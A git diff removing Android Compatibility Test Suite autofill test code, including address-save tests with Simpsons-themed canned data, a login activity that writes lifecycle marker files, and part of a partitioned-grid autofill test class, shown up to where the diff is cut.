-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_optionalOnly()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress2.setText("Simpsons House");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_optionalsOnlyNoRequired()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                null,
-                new String[] {ID_ADDRESS2, ID_CITY},
-                () -> {
-                    mActivity.mCity.setText("Springfield");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .setField(ID_CITY, "Springfield")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testShowSaveUiWhenUserManuallyFilledDifferentValue_requiredOnly()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
-                },
-                EXPECT_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testShowSaveUiWhenUserManuallyFilledDifferentValue_optionalOnly()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                null,
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress2.setText("Shelbyville Bluffs");
-                },
-                EXPECT_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    private void saveWhenUserFilledDatasetFields(@Nullable String[] requiredIds,
-            @Nullable String[] optionalIds, @NonNull Runnable changes, boolean expectSaveUi,
-            @NonNull CannedDataset...datasets) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, requiredIds);
-        if (optionalIds != null) {
-            response.setOptionalSavableIds(optionalIds);
-        }
-        for (CannedDataset dataset : datasets) {
-            response.addDataset(dataset);
-        }
-        sReplier.addResponse(response.build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Manually fill it.
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Make sure the snack bar is shown as expected.
-        if (expectSaveUi) {
-            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_ADDRESS);
-        } else {
-            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
-        }
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserClearedAutofilledFieldThatIsRequired() throws Exception {
-        // Set service.
-        enableService();
-
-        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
-                "Springfield", "Yellow");
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
-                .setOptionalSavableIds(ID_CITY)
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("SF"))
-                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                        .setField(ID_ADDRESS2, "Simpsons House")
-                        .setField(ID_CITY, "Springfield")
-                        .setField(ID_FAVORITE_COLOR, "Yellow")
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mUiBot.selectDataset("SF");
-        mActivity.assertAutoFilled();
-
-        // Clear the field.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress2.setText(""));
-
-        // Trigger save...
-        mActivity.save();
-
-        // ...and make sure the snack bar is not shown.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
-    }
-
-    @Test
-    public void testShowSaveUiWhenUserClearedAutofilledFieldThatIsOptional() throws Exception {
-        // Set service.
-        enableService();
-
-        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
-                "Springfield", "Yellow");
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
-                .setOptionalSavableIds(ID_CITY)
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("SF"))
-                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                        .setField(ID_ADDRESS2, "Simpsons House")
-                        .setField(ID_CITY, "Springfield")
-                        .setField(ID_FAVORITE_COLOR, "Yellow")
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mUiBot.selectDataset("SF");
-        mActivity.assertAutoFilled();
-
-        // Clear the field.
-        mActivity.syncRunOnUiThread(() -> mActivity.mCity.setText(""));
-
-        // Trigger save...
-        mActivity.save();
-
-        // ...and make sure the snack bar is shown.
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
-
-        // Finally, assert values.
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
-                "742 Evergreen Terrace");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
-                "Simpsons House");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
-                "Yellow");
-    }
-
-    @Test
-    public void testShowUpdateWhenUserChangedOptionalValueFromDatasetAndRequiredNotFromDataset()
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Address 2 will be required but not available
-        mActivity.expectAutoFill("742 Evergreen Terrace", null, "Springfield", "Yellow");
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
-                .setOptionalSavableIds(ID_CITY)
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("SF"))
-                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                        .setField(ID_CITY, "Springfield")
-                        .setField(ID_FAVORITE_COLOR, "Yellow")
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mUiBot.selectDataset("SF");
-        mActivity.assertAutoFilled();
-
-        // Change required and optional field.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mAddress2.setText("Simpsons House");
-            mActivity.mCity.setText("Shelbyville");
-        });
-        // Trigger save...
-        mActivity.save();
-
-        // ...and make sure the snack bar is shown.
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
-
-        // Finally, assert values.
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
-                "742 Evergreen Terrace");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
-                "Simpsons House");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "Shelbyville");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
-                "Yellow");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
deleted file mode 100644
index ff955dd..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Activity;
-import android.content.Context;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.io.File;
-import java.io.IOException;
-
-/**
- * Simple activity showing R.layout.login_activity. Started outside of the test process.
- */
-public class OutOfProcessLoginActivity extends Activity {
-    private static final String TAG = "OutOfProcessLoginActivity";
-
-    private static OutOfProcessLoginActivity sInstance;
-
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        Log.i(TAG, "onCreate(" + savedInstanceState + ")");
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.login_activity);
-
-        findViewById(R.id.login).setOnClickListener((v) -> finish());
-
-        sInstance = this;
-    }
-
-    @Override
-    protected void onStart() {
-        Log.i(TAG, "onStart()");
-        super.onStart();
-        try {
-            if (!getStartedMarker(this).createNewFile()) {
-                Log.e(TAG, "cannot write started file");
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "cannot write started file: " + e);
-        }
-    }
-
-    @Override
-    protected void onStop() {
-        Log.i(TAG, "onStop()");
-        super.onStop();
-
-        try {
-            if (!getStoppedMarker(this).createNewFile()) {
-                Log.e(TAG, "could not write stopped marker");
-            } else {
-                Log.v(TAG, "wrote stopped marker");
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "could write stopped marker: " + e);
-        }
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.i(TAG, "onDestroy()");
-        try {
-            if (!getDestroyedMarker(this).createNewFile()) {
-                Log.e(TAG, "could not write destroyed marker");
-            } else {
-                Log.v(TAG, "wrote destroyed marker");
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "could write destroyed marker: " + e);
-        }
-        super.onDestroy();
-        sInstance = null;
-    }
-
-    /**
-     * Get the file that signals that the activity has entered {@link Activity#onStop()}.
-     *
-     * @param context Context of the app
-     * @return The marker file that is written onStop()
-     */
-    @NonNull public static File getStoppedMarker(@NonNull Context context) {
-        return new File(context.getFilesDir(), "stopped");
-    }
-
-    /**
-     * Get the file that signals that the activity has entered {@link Activity#onStart()}.
-     *
-     * @param context Context of the app
-     * @return The marker file that is written onStart()
-     */
-    @NonNull public static File getStartedMarker(@NonNull Context context) {
-        return new File(context.getFilesDir(), "started");
-    }
-
-   /**
-     * Get the file that signals that the activity has entered {@link Activity#onDestroy()}.
-     *
-     * @param context Context of the app
-     * @return The marker file that is written onDestroy()
-     */
-    @NonNull public static File getDestroyedMarker(@NonNull Context context) {
-        return new File(context.getFilesDir(), "destroyed");
-    }
-
-    public static void finishIt() {
-        Log.v(TAG, "Finishing " + sInstance);
-        if (sInstance != null) {
-            sInstance.finish();
-        }
-    }
-
-    public static boolean hasInstance() {
-        return sInstance != null;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
deleted file mode 100644
index b75785e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.util.Log;
-
-/**
- * A {@link BroadcastReceiver} that finishes {@link OutOfProcessLoginActivity}.
- */
-public class OutOfProcessLoginActivityFinisherReceiver extends BroadcastReceiver {
-
-    private static final String TAG = "OutOfProcessLoginActivityFinisherReceiver";
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        Log.i(TAG, "Goodbye, unfinished business!");
-        OutOfProcessLoginActivity.finishIt();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
deleted file mode 100644
index 9b17dd4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
+++ /dev/null
@@ -1,2281 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.GridActivity.ID_L1C1;
-import static android.autofillservice.cts.GridActivity.ID_L1C2;
-import static android.autofillservice.cts.GridActivity.ID_L2C1;
-import static android.autofillservice.cts.GridActivity.ID_L2C2;
-import static android.autofillservice.cts.GridActivity.ID_L3C1;
-import static android.autofillservice.cts.GridActivity.ID_L3C2;
-import static android.autofillservice.cts.GridActivity.ID_L4C1;
-import static android.autofillservice.cts.GridActivity.ID_L4C2;
-import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
-import static android.autofillservice.cts.Helper.assertHasFlags;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertValue;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.Helper.getMaxPartitions;
-import static android.autofillservice.cts.Helper.setMaxPartitions;
-import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.GridActivity.FillExpectation;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillResponse;
-
-import org.junit.Test;
-
-/**
- * Test case for an activity containing multiple partitions.
- */
-@AppModeFull(reason = "Service-specific test")
-public class PartitionedActivityTest extends AbstractGridActivityTestCase {
-
-    @Test
-    public void testAutofillTwoPartitionsSkipFirst() throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-
-        // Trigger auto-fill on 1st partition.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
-        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
-
-        // Make sure UI is shown, but don't tap it.
-        mUiBot.assertDatasets("l1c1");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("l1c2");
-
-        // Now tap a field in a different partition
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-
-        // Trigger auto-fill on 2nd partition.
-        focusCell(2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.flags).isEqualTo(0);
-        final ViewNode p2l1c1 = assertTextIsSanitized(fillRequest2.structure, ID_L1C1);
-        final ViewNode p2l1c2 = assertTextIsSanitized(fillRequest2.structure, ID_L1C2);
-        final ViewNode p2l2c1 = assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
-        final ViewNode p2l2c2 = assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
-        assertWithMessage("Focus on p2l1c1").that(p2l1c1.isFocused()).isFalse();
-        assertWithMessage("Focus on p2l1c2").that(p2l1c2.isFocused()).isFalse();
-        assertWithMessage("Focus on p2l2c1").that(p2l2c1.isFocused()).isTrue();
-        assertWithMessage("Focus on p2l2c2").that(p2l2c2.isFocused()).isFalse();
-        // Make sure UI is shown, but don't tap it.
-        mUiBot.assertDatasets("l2c1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("l2c2");
-
-        // Now fill them
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-              .onCell(1, 1, "l1c1")
-              .onCell(1, 2, "l1c2");
-        focusCell(1, 1);
-        mUiBot.selectDataset("l1c1");
-        expectation1.assertAutoFilled();
-
-        // Change previous values to make sure they are not filled again
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(1, 2, "L1C2");
-
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-        focusCell(2, 2);
-        mUiBot.selectDataset("l2c2");
-        expectation2.assertAutoFilled();
-
-        // Make sure previous partition didn't change
-        assertThat(mActivity.getText(1, 1)).isEqualTo("L1C1");
-        assertThat(mActivity.getText(1, 2)).isEqualTo("L1C2");
-    }
-
-    @Test
-    public void testAutofillTwoPartitionsInSequence() throws Exception {
-        // Set service.
-        enableService();
-
-        // 1st partition
-        // Prepare.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 1"))
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger auto-fill.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 1");
-
-        // Check the results.
-        expectation1.assertAutoFilled();
-
-        // 2nd partition
-        // Prepare.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 2"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-
-        // Trigger auto-fill.
-        focusCell(2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.flags).isEqualTo(0);
-
-        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
-        assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
-        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 2");
-
-        // Check the results.
-        expectation2.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofill4PartitionsAutomatically() throws Exception {
-        autofill4PartitionsTest(false);
-    }
-
-    @Test
-    public void testAutofill4PartitionsManually() throws Exception {
-        autofill4PartitionsTest(true);
-    }
-
-    private void autofill4PartitionsTest(boolean manually) throws Exception {
-        // Set service.
-        enableService();
-
-        // 1st partition
-        // Prepare.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 1"))
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger auto-fill.
-        mActivity.triggerAutofill(manually, 1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-
-        if (manually) {
-            assertHasFlags(fillRequest1.flags, FLAG_MANUAL_REQUEST);
-            assertValue(fillRequest1.structure, ID_L1C1, "");
-        } else {
-            assertThat(fillRequest1.flags).isEqualTo(0);
-            assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        }
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 1");
-
-        // Check the results.
-        expectation1.assertAutoFilled();
-
-        // 2nd partition
-        // Prepare.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 2"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-
-        // Trigger auto-fill.
-        mActivity.triggerAutofill(manually, 2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-
-        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
-        if (manually) {
-            assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
-            assertValue(fillRequest2.structure, ID_L2C1, "");
-        } else {
-            assertThat(fillRequest2.flags).isEqualTo(0);
-            assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
-        }
-        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 2");
-
-        // Check the results.
-        expectation2.assertAutoFilled();
-
-        // 3rd partition
-        // Prepare.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 3"))
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger auto-fill.
-        mActivity.triggerAutofill(manually, 3, 1);
-        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
-
-        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
-        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
-        if (manually) {
-            assertHasFlags(fillRequest3.flags, FLAG_MANUAL_REQUEST);
-            assertValue(fillRequest3.structure, ID_L3C1, "");
-        } else {
-            assertThat(fillRequest3.flags).isEqualTo(0);
-            assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
-        }
-        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 3");
-
-        // Check the results.
-        expectation3.assertAutoFilled();
-
-        // 4th partition
-        // Prepare.
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 4"))
-                        .setField(ID_L4C1, "l4c1")
-                        .setField(ID_L4C2, "l4c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "l4c1")
-                .onCell(4, 2, "l4c2");
-
-        // Trigger auto-fill.
-        mActivity.triggerAutofill(manually, 4, 1);
-        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
-
-        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
-        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
-        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
-        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
-        if (manually) {
-            assertHasFlags(fillRequest4.flags, FLAG_MANUAL_REQUEST);
-            assertValue(fillRequest4.structure, ID_L4C1, "");
-        } else {
-            assertThat(fillRequest4.flags).isEqualTo(0);
-            assertTextIsSanitized(fillRequest4.structure, ID_L4C1);
-        }
-        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 4");
-
-        // Check the results.
-        expectation4.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofill4PartitionsMixManualAndAuto() throws Exception {
-        // Set service.
-        enableService();
-
-        // 1st partition - auto
-        // Prepare.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 1"))
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger auto-fill.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 1");
-
-        // Check the results.
-        expectation1.assertAutoFilled();
-
-        // 2nd partition - manual
-        // Prepare
-        // Must set text before creating expectation, and it must be a subset of the dataset values,
-        // otherwise the UI won't be shown because of filtering
-        mActivity.setText(2, 1, "l2");
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 2"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-
-        // Trigger auto-fill.
-        mActivity.forceAutofill(2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
-
-        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest2.structure, ID_L2C1, "l2");
-        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 2");
-
-        // Check the results.
-        expectation2.assertAutoFilled();
-
-        // 3rd partition - auto
-        // Prepare.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 3"))
-                        .setField(ID_L3C1, "l3c1")
